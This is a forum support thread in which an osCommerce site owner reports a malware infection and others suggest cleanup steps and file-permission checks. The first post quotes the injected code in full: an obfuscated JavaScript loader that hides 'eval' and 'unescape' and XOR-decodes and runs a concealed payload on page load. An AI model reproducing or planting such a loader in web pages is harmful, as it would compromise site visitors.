Jump to content
dev osCommerce
Forum
  • Checkout
  • Login
  • Contact Us
  • Get in touch

osCommerce

The e-commerce.

New Demo
Our Partners

My sites has been infected with malware virus

skywalker786

By skywalker786
in General Support

Recommended Posts

skywalker786

skywalker786

Posted
  • Author
Posted

I looked again in my files /admin/index.php and I found the tag below, please help what can I do with out re-installing everything

it took me hours to build this site, here is my sites address www.manythnx.com

 

<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF" onload="SetFocus();"><!-- ad --><script>window['e<v#a}l<'.replace(/[\}b\<#u]/g, '')](window['e<v#a}l<'.replace(/[\}b\<#u]/g, '')]('uDnDeTsTcTaTp4eT'.replace(/[N4,TD]/g, ''))('%66%75%6e%63%74%69%6f%6e%20%41%6c%68%61%28%41%49%44%29%7b%66%75%6e%63%74%69%6f%6e%20%41%44%41%28%4c%41%48%61%68%29%7b%65%76%61%6c%28%22%76%61%72%20%50%61%54%4c%48%61%48%3d%30%3b%22%29%3b%76%61%72%20%41%70%54%6c%3d%4c%41%48%61%68%2e%6c%65%6e%67%74%68%3b%65%76%61%6c%28%22%76%61%72%20%41%49%68%70%47%6c%3d%30%3b%22%29%3b%77%68%69%6c%65%28%41%49%68%70%47%6c%3c%41%70%54%6c%29%7b%50%61%54%4c%48%61%48%2b%3d%41%68%6c%54%48%28%4c%41%48%61%68%2c%41%49%68%70%47%6c%29%2a%41%70%54%6c%3b%41%49%68%70%47%6c%2b%2b%3b%7d%72%65%74%75%72%6e%20%28%50%61%54%4c%48%61%48%2b%27%27%29%3b%7d%66%75%6e%63%74%69%6f%6e%20%41%68%6c%54%48%28%4c%6c%68%61%70%2c%4c%54%44%41%4c%47%29%7b%72%65%74%75%72%6e%20%4c%6c%68%61%70%2e%63%68%61%72%43%6f%64%65%41%74%28%4c%54%44%41%4c%47%29%3b%7d%20%20%20%74%72%79%20%7b%76%61%72%20%48%6c%6c%49%70%49%3d%65%76%61%6c%28%27%61%5a%72%5a%67%52%75%79%6d%57%65%57%6e%68%74%79%73%79%2e%79%63%5a%61%57%6c%57%6c%68%65%68%65%52%27%2e%72%65%70%6c%61%63%65%28%2f%5b%79%68%57%52%5a%5d%2f%67%2c%20%27%27%29%29%2c%41%47%41%54%49%3d%27%27%3b%76%61%72%20%41%54%6c%41%48%3d%30%2c%48%48%49%6c%3d%30%2c%41%70%48%6c%68%44%3d%28%6e%65%77%20%53%74%72%69%6e%67%28%48%6c%6c%49%70%49%29%29%2e%72%65%70%6c%61%63%65%28%2f%5b%5e%40%61%2d%7a%30%2d%39%41%2d%5a%5f%2e%2c%2d%5d%2f%67%2c%27%27%29%3b%76%61%72%20%41%61%54%50%3d%41%44%41%28%41%70%48%6c%68%44%29%3b%65%76%61%6c%28%22%41%49%44%3d%75%6e%65%73%63%61%70%65%28%41%49%44%29%3b%22%29%3b%66%6f%72%28%76%61%72%20%48%47%61%3d%30%3b%20%48%47%61%20%3c%20%28%41%49%44%2e%6c%65%6e%67%74%68%29%3b%20%48%47%61%2b%2b%29%7b%76%61%72%20%48%54%41%3d%41%68%6c%54%48%28%41%70%48%6c%68%44%2c%41%54%6c%41%48%29%5e%41%68%6c%54%48%28%41%61%54%50%2c%48%48%49%6c%29%3b%76%61%72%20%50%68%61%41%61%48%50%3d%41%68%6c%54%48%28%41%49%44%2c%48%47%61%29%3b%41%54%6c%41%48%2b%2b%3b%48%48%49%6c%2b%2b%3b%69%66%28%48%48%49%6c%3e%41%61%54%50%2e%6c%65%6e%67%74%68%29%48%48%49%6c%3d%30%3b%69%66%28%41%54%6c%41%48%3e%41%70%48%6c%68%44%2e%6c%65%6e%67%74%68%29%41%54%6c%41%48%3d%30%3b%41%47%41%54%49%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%50%68%61%41%61%48%50%5e%48%54%41%29%20%2b%20%27%27%3b%7d%65%76%61%6c%28%41%47%41%54%49%29%3b%20%72%65%74%75%72%6e%20%41%47%41%54%49%3d%6e%75%6c%6c%3b%7d%63%61%74%63%68%28%65%29%7b%7d%7d%41%6c%68%61%28%27%25%33%32%25%33%38%25%33%36%25%33%38%25%33%36%25%33%37%25%33%33%25%33%32%25%36%31%25%31%36%25%30%30%25%31%36%25%33%64%25%33%36%25%35%62%25%33%63%25%36%65%25%34%65%25%32%61%25%33%38%25%32%64%25%32%65%25%37%38%25%30%64%25%30%31%25%31%32%25%33%65%25%35%33%25%31%66%25%36%61%25%33%34%25%33%63%25%32%32%25%32%37%25%33%33%25%31%33%25%33%64%25%33%65%25%34%38%25%33%61%25%31%30%25%31%65%25%31%61%25%32%37%25%32%64%25%34%37%25%32%32%25%33%32%25%32%37%25%31%32%25%32%39%25%31%33%25%37%36%25%36%62%25%31%61%25%31%36%25%32%35%25%33%31%25%37%35%25%33%65%25%37%31%25%37%35%25%35%63%25%36%36%25%33%66%25%37%64%25%33%64%25%32%35%25%33%38%25%37%38%25%37%34%25%31%61%25%30%37%25%30%35%25%32%65%25%37%32%25%35%65%25%37%34%25%36%66%25%32%61%25%31%62%25%33%30%25%32%31%25%32%37%25%35%37%25%31%63%25%33%31%25%36%63%25%31%36%25%30%33%25%30%37%25%33%63%25%30%64%25%33%61%25%34%38%25%33%65%25%31%33%25%31%33%25%32%34%25%37%34%25%34%62%25%35%37%25%33%66%25%37%34%25%31%30%25%31%65%25%30%61%25%30%30%25%30%65%25%32%64%25%32%63%25%37%64%25%31%35%25%30%62%25%32%66%25%32%37%25%36%66%25%37%39%25%30%65%25%32%66%25%30%38%25%32%65%25%31%65%25%35%64%25%37%36%25%35%30%25%34%35%25%37%64%25%37%66%25%37%64%25%32%64%25%36%63%25%33%32%25%33%39%25%32%34%25%31%32%25%31%38%25%30%65%25%30%32%25%33%65%25%31%64%25%32%30%25%33%33%25%30%62%25%37%39%25%36%62%25%33%39%25%32%35%25%33%39%25%31%62%25%33%65%25%33%63%25%33%62%25%30%38%25%31%30%25%33%66%25%32%32%25%37%30%25%36%62%25%33%66%25%34%65%25%37%64%25%34%64%25%35%39%25%31%35%25%35%31%25%33%37%25%33%37%25%33%33%25%30%36%25%30%36%25%32%38%25%30%36%25%33%33%25%33%32%25%32%32%25%33%33%25%37%38%25%37%39%25%34%66%25%33%62%25%32%66%25%31%63%25%33%30%25%33%61%25%32%36%25%35%35%25%36%61%25%36%63%25%35%36%25%35%35%25%34%63%25%35%34%25%31%35%25%32%63%25%32%32%25%33%65%25%31%62%25%33%36%25%32%34%25%30%61%25%37%61%25%33%38%25%31%31%25%32%37%25%30%32%25%34%62%25%32%35%25%32%39%25%32%61%25%33%63%25%30%32%25%32%31%25%32%61%25%33%64%25%33%62%25%32%62%25%32%35%25%37%33%25%30%30%25%37%61%25%35%62%25%37%64%25%32%37%25%31%37%25%32%61%25%33%66%25%32%63%25%37%65%25%36%37%25%33%31%25%34%30%25%32%38%25%32%34%25%33%62%25%31%62%25%30%65%25%33%39%25%33%65%25%33%61%25%33%39%25%31%35%25%35%61%25%36%38%25%33%62%25%33%33%25%33%61%25%33%34%25%32%30%25%33%66%25%32%34%25%30%36%25%34%35%25%34%32%25%34%35%25%32%34%25%35%32%25%34%62%25%33%33%25%33%31%25%30%38%25%34%65%25%35%61%25%36%62%25%33%30%25%36%64%25%34%64%25%31%61%25%37%32%25%36%31%25%34%38%25%33%38%25%32%61%25%35%39%25%34%35%25%30%33%25%32%32%25%32%32%25%36%34%25%32%33%25%30%39%25%33%61%25%31%64%25%37%36%25%34%33%25%37%34%25%36%63%27%29%3b'));</script><!-- /ad -->

<!-- header //-->

<?php require(DIR_WS_INCLUDES . 'header.php'); ?>

<!-- header_eof //-->

Link to comment
Share on other sites
skywalker786

skywalker786

Posted
  • Author
Posted
you will need to go through all of your files to look for and remove all code, if you have a clean backup you can use that

Nic

 

Hi fimble

 

I have removed all the files which I beleieve are in the all index.php pages but when I go to my sites www.manythnx.com:

it still reads Unable to connect to database server!

 

I would be grateful if you could help further, I don want to do a re-install as I put some much time upload content and images

and design and not want that wipe out with a reinstall.

 

S

Link to comment
Share on other sites
FIMBLE

FIMBLE

Posted
Posted
Hi fimble

 

I have removed all the files which I beleieve are in the all index.php pages but when I go to my sites www.manythnx.com:

it still reads Unable to connect to database server!

 

I would be grateful if you could help further, I don want to do a re-install as I put some much time upload content and images

and design and not want that wipe out with a reinstall.

 

S

 

 

You could check you configure.php files, to be honest you need to go through most of the folders especially the images one for any files you do not recognise.

Also check you folder permissions are not set any higher than 644 or if images 755

Nic

Sometimes you're the dog and sometimes the lamp post

[/url]

My Contributions

Link to comment
Share on other sites
skywalker786

skywalker786

Posted
  • Author
Posted
You could check you configure.php files, to be honest you need to go through most of the folders especially the images one for any files you do not recognise.

Also check you folder permissions are not set any higher than

Nic

 

Hi Fimble,

 

I do know I did make these files 644 and images 755 and there is nothing in the configure that looks like suspicious, do you think

the .sql file is infected? I am still seeing Unable to connect to database server! on my sites http://www.manythnx.com/

 

in the hosting cpanel for sql it reads: Database users Unable to load users. Tech support was notified

 

Please help Fimble.

 

S

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

Go to topic listing
×
×
  • Create New...